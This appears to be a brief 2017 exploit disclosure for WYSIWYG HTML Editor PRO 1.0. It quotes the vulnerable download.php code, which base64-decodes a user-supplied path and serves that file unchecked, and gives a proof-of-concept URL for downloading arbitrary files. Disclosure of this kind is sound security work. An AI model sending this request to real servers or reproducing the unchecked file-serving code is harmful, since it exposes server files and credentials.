# # # # # 
# Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022
# Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# $file = base64_decode($_GET['id']);
# 
# if (file_exists($file)) {
#     header('Content-Description: File Transfer');
#     header('Content-Type: application/octet-stream');
#     header('Content-Disposition: attachment; filename="'.basename($file).'"');
#     header('Expires: 0');
#     header('Cache-Control: must-revalidate');
#     header('Pragma: public');
#     header('Content-Length: ' . filesize($file));
#     readfile($file);
#     exit;
# }
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #